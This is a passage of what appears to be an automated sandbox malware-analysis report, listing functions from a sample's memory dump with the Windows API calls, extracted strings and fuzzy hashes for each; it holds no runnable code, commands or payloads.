Uniqueness Score: -1.00%

Function 004C2051, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 272COMMON

Download Yara Rule

APIs

Part of subcall function 004C1D1F: CreateFileW.KERNEL32(00000000,00000000,?,004C20FA,?,?,00000000,?,004C20FA,00000000,0000000C), ref: 004C1D3C

__dosmaperr.LIBCMT ref: 004C216C
GetFileType.KERNEL32(00000000), ref: 004C2178
__dosmaperr.LIBCMT ref: 004C218B
__dosmaperr.LIBCMT ref: 004C232E

Strings

H, xrefs: 004C22B3

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: d95a3963b6923a39c3ee36a4758d179d0a1a6ae2e2317d8aee999fcc6204156c
Instruction ID: eb7d56441f1e7b20ef5340d7ba0ab152a2973ed329dca8df0a0fa19fdb2e889e
Opcode Fuzzy Hash: d95a3963b6923a39c3ee36a4758d179d0a1a6ae2e2317d8aee999fcc6204156c
Instruction Fuzzy Hash: D3A1393AA041449FDF19DF78D891BAE7BA19F06324F18015EE801DF3A2CBB99D12C759

Uniqueness

Uniqueness Score: -1.00%

Function 004BA1EE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258
_free.LIBCMT ref: 004BA246

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BA412

Strings

Pacific Daylight Time, xrefs: 004BA2F6
Pacific Standard Time, xrefs: 004BA2C9

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeapInformationTimeZone
String ID: Pacific Daylight Time$Pacific Standard Time
API String ID: 3087893232-1154798116
Opcode ID: f96e1f1345f5607ad03e7cb585f22dbf5bd1e39733509645ea11963a3bcb89fb
Instruction ID: 04d357e43d8f1236085cb2fae0f105b059e6b35124029796e58893bf4759febd
Opcode Fuzzy Hash: f96e1f1345f5607ad03e7cb585f22dbf5bd1e39733509645ea11963a3bcb89fb
Instruction Fuzzy Hash: 6951F671800259ABCB10EF6A9C859EB77B8EF45310B1046BFE510A7392E7389E518B79

Uniqueness

Uniqueness Score: -1.00%

Function 004B2407, Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

_free.LIBCMT ref: 004B2512
_free.LIBCMT ref: 004B2529
_free.LIBCMT ref: 004B2548
_free.LIBCMT ref: 004B2563
_free.LIBCMT ref: 004B257A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 6590344c140a246e0338c9ca577d838612265a185cddcabaea799a6be5ce2334
Instruction ID: f6034767129b596bef2b2a787979fe0e688cef0b096ecb0ecbda55070cb1135e
Opcode Fuzzy Hash: 6590344c140a246e0338c9ca577d838612265a185cddcabaea799a6be5ce2334
Instruction Fuzzy Hash: BF51D731A00704AFDB21DF6ACD41BAA77F4EF48724B14456FE809D7250E779DA018B64

Uniqueness

Uniqueness Score: -1.00%

Function 004347BE, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 004347C5
_strlen.LIBCMT ref: 004347DA

Strings

,dKH, xrefs: 00434814
0!H, xrefs: 004348A8, 004348D4, 00434850, 0043487C

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: ,dKH$0!H
API String ID: 3133806014-1186801689
Opcode ID: fa4764ebac466e7d30374638d86a764126c7a54d0c5442967fe89407a022579b
Instruction ID: 5ce88bcbcc5bc754847acfaa742eaa4041ee730367738a5133e28c2340b2b00f
Opcode Fuzzy Hash: fa4764ebac466e7d30374638d86a764126c7a54d0c5442967fe89407a022579b
Instruction Fuzzy Hash: E451AE78E005549FCB18EF69C8809EDBBB1BF8C314F24525AE825EB391D735AD42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043F5AD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 0043F5FC
SysFreeString.OLEAUT32(00000000), ref: 0043F621
SysFreeString.OLEAUT32(00000000), ref: 0043F63C

Strings

ROOT\CIMV2, xrefs: 0043F5F7

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: String$Free$Alloc
String ID: ROOT\CIMV2
API String ID: 986138563-2786109267
Opcode ID: f50879efc72456f3417d35471ad7396918315885eea346d09e3919b43a4444a4
Instruction ID: 575ec65e1ed88dcb6f0224d6cffea78159b495e06c99076a3ef412c70ffff06e
Opcode Fuzzy Hash: f50879efc72456f3417d35471ad7396918315885eea346d09e3919b43a4444a4
Instruction Fuzzy Hash: 0D218430B40219BFD3106B66DC99F277FACFF4A799F110135F506DA1A1DA67B8068A38

Uniqueness

Uniqueness Score: -1.00%

Function 0043EDD8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,ntp,00000000,?), ref: 0043EDF7
FreeAddrInfoW.WS2_32(?), ref: 0043EE23

Strings

ntp, xrefs: 0043EDF1

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddrFreeInfogetaddrinfo
String ID: ntp
API String ID: 738001165-2791240438
Opcode ID: aa52a9a267d5e993d6b9dafff03cf3db00f07c097d8857e479f64d334cb04577
Instruction ID: 813546253c185ea69f57d150ea22e58f514157f9f190900758148c66b079ed7b
Opcode Fuzzy Hash: aa52a9a267d5e993d6b9dafff03cf3db00f07c097d8857e479f64d334cb04577
Instruction Fuzzy Hash: EDF0A472E01214BBDB219F519C42AAFB7B4DB48724F01056AE801A7341C635BE448698

Uniqueness

Uniqueness Score: -1.00%

Function 004BA349, Relevance: 4.6, APIs: 3, Instructions: 80COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004BA3BC
_free.LIBCMT ref: 004BA412

Part of subcall function 004BA1EE: _free.LIBCMT ref: 004BA246
Part of subcall function 004BA1EE: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: f0766efe5d0172bf6359540185a29b3e00efd60ac64b1790251426d7d52e640d
Instruction ID: e3eec0eb33b400744316c89813d9213bc2e7e4c022279863c91d4977750c02b7
Opcode Fuzzy Hash: f0766efe5d0172bf6359540185a29b3e00efd60ac64b1790251426d7d52e640d
Instruction Fuzzy Hash: 82213E32C0012897CB31A7259C85DEB7778CF41324F10076BF854A3192EF785E9195FA

Uniqueness

Uniqueness Score: -1.00%

Function 0042D212, Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0042D219
std::_Lockit::_Lockit.LIBCPMT ref: 0042D226

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Lockit::~_Lockit.LIBCPMT ref: 0042D2B5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3_Lockit::_Lockit::~_
String ID:
API String ID: 1106374426-0
Opcode ID: 041bc34d15052334b855b5476a21381e8e99cda03f4cd0c4c7648dba14c78aa1
Instruction ID: b10816b20c4b7979c20d622172b586cac8cbf88f33b607c53ddd41a88e0d6d73
Opcode Fuzzy Hash: 041bc34d15052334b855b5476a21381e8e99cda03f4cd0c4c7648dba14c78aa1
Instruction Fuzzy Hash: 52F0E931F0021997CB00FF919852BBE7724EF40314F80051EE5505B2C2CF3C9E068798

Uniqueness

Uniqueness Score: -1.00%

Function 0043804F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00434A0A: __alldvrm.LIBCMT ref: 00434A47
Part of subcall function 00434A0A: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00434A65

__Thrd_sleep.LIBCPMT ref: 00438096

Strings

zC, xrefs: 00438084

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Thrd_sleepUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID: zC
API String ID: 2244948955-3727955402
Opcode ID: 32297d2de020c3882b4c9e9223f48c4b7f161e92c82e66961db1cce230986b08
Instruction ID: 2e1f96f8df3219c6b1ffde2ac08e2d96f184b47fd7a7bc5b6b5bc153b1d90db2
Opcode Fuzzy Hash: 32297d2de020c3882b4c9e9223f48c4b7f161e92c82e66961db1cce230986b08
Instruction Fuzzy Hash: 6FF01931D002098BCF08EFA5C5818EEF7B4FB4C704F10552FE502A7241EAB86A49CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004385E5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00438612

Strings

@, xrefs: 00438607

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 9b40e4c76074056e1fe06d2686baada3a744f24ee3108fe6066016e4794167ea
Instruction ID: 68cafc695cc66c111c17dc5b2250578afaeccfb7f8b4711f3a2e283074352f60
Opcode Fuzzy Hash: 9b40e4c76074056e1fe06d2686baada3a744f24ee3108fe6066016e4794167ea
Instruction Fuzzy Hash: 0DF05471D013189BDF14EBA5D946A9EB7B8EB44754F00016EF505A2140DA786A05CB9C

Uniqueness

Uniqueness Score: -1.00%

Function 004B6D93, Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e54255b557081cf236728db427bbf9409f3876fa80b2d3fbae7cb8af677069f
Instruction ID: c6ff521e39fab48017386494f0ccc93667d222964966a86b9210597ca33a3230
Opcode Fuzzy Hash: 3e54255b557081cf236728db427bbf9409f3876fa80b2d3fbae7cb8af677069f
Instruction Fuzzy Hash: D451CF71A00209ABDF119FA9D845EFF7BB8AF1A314F12015BF404A7292D73C9902CB79

Uniqueness

Uniqueness Score: -1.00%

Function 0042B15C, Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Locinfo::_Locinfo_dtorLockitLockit::~_
String ID:
API String ID: 3286764726-0
Opcode ID: 6872e3fba9253834f1ff54228b39b3e0805d7664d63717d9433000f69ea28b64
Instruction ID: e0a999df1532b4eff120b3d55a41a7eadebf3282487a9f327756634a18ec5111
Opcode Fuzzy Hash: 6872e3fba9253834f1ff54228b39b3e0805d7664d63717d9433000f69ea28b64
Instruction Fuzzy Hash: 29219E71805B40DFCB319F59EA41B5AFBF0FB09714F10866FE05A92691C7786A04CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0043845F, Relevance: 3.1, APIs: 2, Instructions: 55timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,?,00000000,FFFFD8F0,000000FF), ref: 004384A3
FindCloseChangeNotification.KERNEL32(00000000,?,00000000,FFFFD8F0,000000FF), ref: 004384C5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotificationTimerWaitable
String ID:
API String ID: 3672239175-0
Opcode ID: 9cc8cbb757cc833fac1f7689e5b2e4045e6e0ec8eef504e644c488d7584c5a4f
Instruction ID: ccdbea19d5adb761a416066da79bc503bf1a9718c9730a1b64be876da7f10e42
Opcode Fuzzy Hash: 9cc8cbb757cc833fac1f7689e5b2e4045e6e0ec8eef504e644c488d7584c5a4f
Instruction Fuzzy Hash: 09017571601214BF87115F7A6C88E7FBFBCEECA660710423DF415D2251DE348900C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 004AAF22, Relevance: 3.1, APIs: 2, Instructions: 54threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,Function_000AADCE,00000000,?,?), ref: 004AAF6B
__dosmaperr.LIBCMT ref: 004AAF7E

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateThread__dosmaperr
String ID:
API String ID: 1062976647-0
Opcode ID: 479a5b1b6d2037a72761af19e69e0e9cad5f77fad325084e61f3f56302ac4eb1
Instruction ID: 64dabecf15abf50e1c0b97aa783f84f46e0c006714f0febc9dc49da3f110676e
Opcode Fuzzy Hash: 479a5b1b6d2037a72761af19e69e0e9cad5f77fad325084e61f3f56302ac4eb1
Instruction Fuzzy Hash: C801D876504109AFCB299FA2DC05DEF7B69EFA6320F00016AFC0587210DB398D31D7AA

Uniqueness

Uniqueness Score: -1.00%

Function 004B8FE6, Relevance: 3.0, APIs: 2, Instructions: 50COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,004AA674,00000002,004AA674,00000000,004AA674,00000001,00000000,00000000,?,004B9095,004AA674,004AA674,00000002,00000000), ref: 004B901F
__dosmaperr.LIBCMT ref: 004B9030

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FilePointer__dosmaperr
String ID:
API String ID: 3262615654-0
Opcode ID: cdc005b76707da5a3fdb160953819838f5749220ede2db25dedb10ea2b992ba0
Instruction ID: d9d2db35772d593e7c981c635a08fd90c60763fcf8e7a05b4c1ba2196bb7a96e
Opcode Fuzzy Hash: cdc005b76707da5a3fdb160953819838f5749220ede2db25dedb10ea2b992ba0
Instruction Fuzzy Hash: E00168326145187FCB059F6ADC408EF3B2AEB86320B24035AF9018B280EA359C128BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0048902D, Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0042AB17: __EH_prolog3.LIBCMT ref: 0042AB1E

__EH_prolog3.LIBCMT ref: 00489054
std::locale::_Locimp::_Locimp_ctor.LIBCPMT ref: 004890A6

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3$Locimp::_Locimp_ctorstd::locale::_
String ID:
API String ID: 522788814-0
Opcode ID: b2d04ec7ccd064c4bade7a7915ea1a14bf0b4e01221d86d1b09a43ce4e299121
Instruction ID: 609e2260fd298483a782d2d30822bde7939955fc64f8a47351091dd77b3156ed
Opcode Fuzzy Hash: b2d04ec7ccd064c4bade7a7915ea1a14bf0b4e01221d86d1b09a43ce4e299121
Instruction Fuzzy Hash: AE11CEB0900B49AFC710EF6AC440A8AFBF4AF18304B00C56EE59883652D774E644CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042B499, Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0042B4A0

Part of subcall function 0042B3A5: __EH_prolog3.LIBCMT ref: 0042B3AC

__Getctype.LIBCPMT ref: 0042B4C0

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3$Getctype
String ID:
API String ID: 527673020-0
Opcode ID: 0e1073f6485afa6a5e72aba2d4e33c2cf3c5705b0858916501faf6dac29f18c1
Instruction ID: 3f570ace4d46e1fae91cbdd7be7d3e36d14f2d7d3ff0f9e824f44b2e84789db7
Opcode Fuzzy Hash: 0e1073f6485afa6a5e72aba2d4e33c2cf3c5705b0858916501faf6dac29f18c1
Instruction Fuzzy Hash: A8E09231900618DADB01FF5898416CE7661AF05324F10826FB421AF1C2C7B88E04C768

Uniqueness

Uniqueness Score: -1.00%

Function 00492BDC, Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00492BE3
_Getvals.LIBCPMT ref: 00492BFF

Part of subcall function 0048BBDC: __Getcvt.LIBCPMT ref: 0048BBEE
Part of subcall function 0048BBDC: std::_Locinfo::_Getdays.LIBCPMT ref: 0048BC07
Part of subcall function 0048BBDC: _Maklocstr.LIBCPMT ref: 0048BC0D
Part of subcall function 0048BBDC: std::_Locinfo::_Getmonths.LIBCPMT ref: 0048BC20
Part of subcall function 0048BBDC: _Maklocstr.LIBCPMT ref: 0048BC26
Part of subcall function 0048BBDC: _Maklocstr.LIBCPMT ref: 0048BC35

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocstr$Locinfo::_std::_$GetcvtGetdaysGetmonthsGetvalsH_prolog3
String ID:
API String ID: 455403814-0
Opcode ID: 5f0cfcddee22f93e2fcb9fe8996bad068ae871c45d3a2bf05bb48adb1e659f2c
Instruction ID: 13658489b3144553808a9a09706fa25228e4638afb98859922e19850a6d5064e
Opcode Fuzzy Hash: 5f0cfcddee22f93e2fcb9fe8996bad068ae871c45d3a2bf05bb48adb1e659f2c
Instruction Fuzzy Hash: DFE0B6F0D007049FCB20EF7A840161ABAF1AF04304B00893FA5A6D7601D7789A008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0049AC63, Relevance: 3.0, APIs: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0049AC6A
_Getvals.LIBCPMT ref: 0049AC86

Part of subcall function 0049949B: __Getcvt.LIBCPMT ref: 004994AD
Part of subcall function 0049949B: std::_Locinfo::_Getdays.LIBCPMT ref: 004994C6
Part of subcall function 0049949B: std::_Locinfo::_Getmonths.LIBCPMT ref: 004994DF

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Locinfo::_std::_$GetcvtGetdaysGetmonthsGetvalsH_prolog3
String ID:
API String ID: 709374646-0
Opcode ID: 5a662a7d9ae78a218b5c7b819c336853d4a7066bbd7125283fcb2e348385474f
Instruction ID: 76ab1cc204ad277cf790a4266ca1458fd6aa7a5997ee1d172ca83afbd5284663
Opcode Fuzzy Hash: 5a662a7d9ae78a218b5c7b819c336853d4a7066bbd7125283fcb2e348385474f
Instruction Fuzzy Hash: 35E0ECF0D007049FCF20EF7A840161ABEF1BF04704B00893FA5A6C7701D7789A008BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004384DC, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,00000000,00000000), ref: 0043855F

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9d3a638cbf3fa7ad9675427c27a566b3e249542f6da8023172fa6b75c9e9d538
Instruction ID: 7888dbb48d0deadb994a1a1ebbf2c1508fcd02696938e2dc5877689eda986515
Opcode Fuzzy Hash: 9d3a638cbf3fa7ad9675427c27a566b3e249542f6da8023172fa6b75c9e9d538
Instruction Fuzzy Hash: E811A571600215BFEB048F65FC84D7BBAACEB48395750103EB907D2211DE749D10DA68

Uniqueness

Uniqueness Score: -1.00%

Function 004BB397, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 004BB3D5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 2c10468269b1ab8e19733710d797b50e8ae4661bc8e6b0d63e18906ef6ddf239
Instruction ID: 08115e15f90c600a55345117ea14690c9b3b8fa16ddf1c0c17d1e15c734de36c
Opcode Fuzzy Hash: 2c10468269b1ab8e19733710d797b50e8ae4661bc8e6b0d63e18906ef6ddf239
Instruction Fuzzy Hash: 9D11367190420AAFCB05DF59E9409DB7BF8EF48304F00406AFC08AB312D671E9218BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004A9E0D, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8677afb4cdaecb1433d7731f8887c1c495c32bfa64a06d6d25baffb49828167b
Instruction ID: f6d9c7aabced4142f7750d5c23595e27225db8add3f0b2e21cef285754c30188
Opcode Fuzzy Hash: 8677afb4cdaecb1433d7731f8887c1c495c32bfa64a06d6d25baffb49828167b
Instruction Fuzzy Hash: 54F0F472900A1056CA317A7B9C01A9B32988FB3378F10471BF421962C3CB7C9C0286BF

Uniqueness

Uniqueness Score: -1.00%

Function 0042B4DD, Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0042B4E4

Part of subcall function 0042B0D7: __EH_prolog3.LIBCMT ref: 0042B0DE
Part of subcall function 0042B0D7: std::_Lockit::_Lockit.LIBCPMT ref: 0042B0EB
Part of subcall function 0042B0D7: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0042B13C

Part of subcall function 0042B499: __EH_prolog3.LIBCMT ref: 0042B4A0
Part of subcall function 0042B499: __Getctype.LIBCPMT ref: 0042B4C0

Part of subcall function 0042B15C: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0042B18E
Part of subcall function 0042B15C: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B21A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$H_prolog3$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 3700104213-0
Opcode ID: 8cf616ef012cde435361dafec3a7199e70ffe57e47a3cf3cc0d7e32601a1c0f6
Instruction ID: 9e87b0466a654d51ed717156fe1aa16b9ce5c6af72877dce7abcc874efe72c30
Opcode Fuzzy Hash: 8cf616ef012cde435361dafec3a7199e70ffe57e47a3cf3cc0d7e32601a1c0f6
Instruction Fuzzy Hash: 610144B1A00319DACF10EFA9D89279DBB70FF44754FA0466FB125A72C1CB785A01C798

Uniqueness

Uniqueness Score: -1.00%

Function 004B1B82, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 004B2F72: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B3649,00000001,00000364,?,004AADF3,004E8890,00000010), ref: 004B2FB3

_free.LIBCMT ref: 004B1BA2

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree_free
String ID:
API String ID: 2784253671-0
Opcode ID: 48e3e2c54d13805096218aa5b7e39bb9a52bbc855e06a66c9bcf5259d47b0e79
Instruction ID: 3590d8b69831cb7f3e5c2e1d6d2ade56b024a762c023daca3ca033137ecf6d53
Opcode Fuzzy Hash: 48e3e2c54d13805096218aa5b7e39bb9a52bbc855e06a66c9bcf5259d47b0e79
Instruction Fuzzy Hash: 66F03C71A04209AFC310DF69C542B9AB7F4FB48710F10416BE918E7341E775AA108BE5

Uniqueness

Uniqueness Score: -1.00%

Function 004B2F72, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,004B3649,00000001,00000364,?,004AADF3,004E8890,00000010), ref: 004B2FB3

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca23d797807c8c1653de12cb30f492c3cd3c2327c1761bc63c89d39908bb7947
Instruction ID: 814e874a66a304bc54667ad23078e37bb06c9f8517dff74dbc2af21a5f255a83
Opcode Fuzzy Hash: ca23d797807c8c1653de12cb30f492c3cd3c2327c1761bc63c89d39908bb7947
Instruction Fuzzy Hash: 1DF0E9316041216BDB216A629E09FFB7778AF51760B144223FC04DB388CBB8DC01A2FC

Uniqueness

Uniqueness Score: -1.00%

Function 004C1FE0, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004C2021

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 46cbe1521d11c4f8aa15e3888fe767836981a3dd4acc9b8ad7fb78b9a918fd65
Instruction ID: 3640a560bbb497f6f1a3e858b0da2481f43d17f82925ea2d86ee18bea973f33e
Opcode Fuzzy Hash: 46cbe1521d11c4f8aa15e3888fe767836981a3dd4acc9b8ad7fb78b9a918fd65
Instruction Fuzzy Hash: 9AF09A3A410009BBCF115E9ADD01DEF7B69EF89324F10011BFE1492050DABACA21E7A4

Uniqueness

Uniqueness Score: -1.00%

Function 004B84D4, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

_free.LIBCMT ref: 004B84F4

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateFree_free
String ID:
API String ID: 2784253671-0
Opcode ID: e3597f89f24ceafffc4df9fc21f554d6393e83129595a89f945b109acdbceb5d
Instruction ID: f086f7f719bda3272919297820ab0dff29b2ae4f68269dccc13757d2b61e3206
Opcode Fuzzy Hash: e3597f89f24ceafffc4df9fc21f554d6393e83129595a89f945b109acdbceb5d
Instruction Fuzzy Hash: 6AF062710057049FD7349F11D841792B7FCEF04715F10842FE29A8B691DB78B544CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004B3009, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: deed60d1610bc0232ec50c4714b6350813f53c1a698db842715f9ecf29e5d884
Instruction ID: 8d747d84a442c24b64d8b1a2952e442fc8bda9735a41b62449694b540e0bbcff
Opcode Fuzzy Hash: deed60d1610bc0232ec50c4714b6350813f53c1a698db842715f9ecf29e5d884
Instruction Fuzzy Hash: 67E0ED252402215BEB323E2B9C05BEB3A5C9F42BA2F110123FC559628ACB6CDE0181FD

Uniqueness

Uniqueness Score: -1.00%

Function 004AAE82, Relevance: 1.5, APIs: 1, Instructions: 31threadCOMMON

Download Yara Rule

APIs

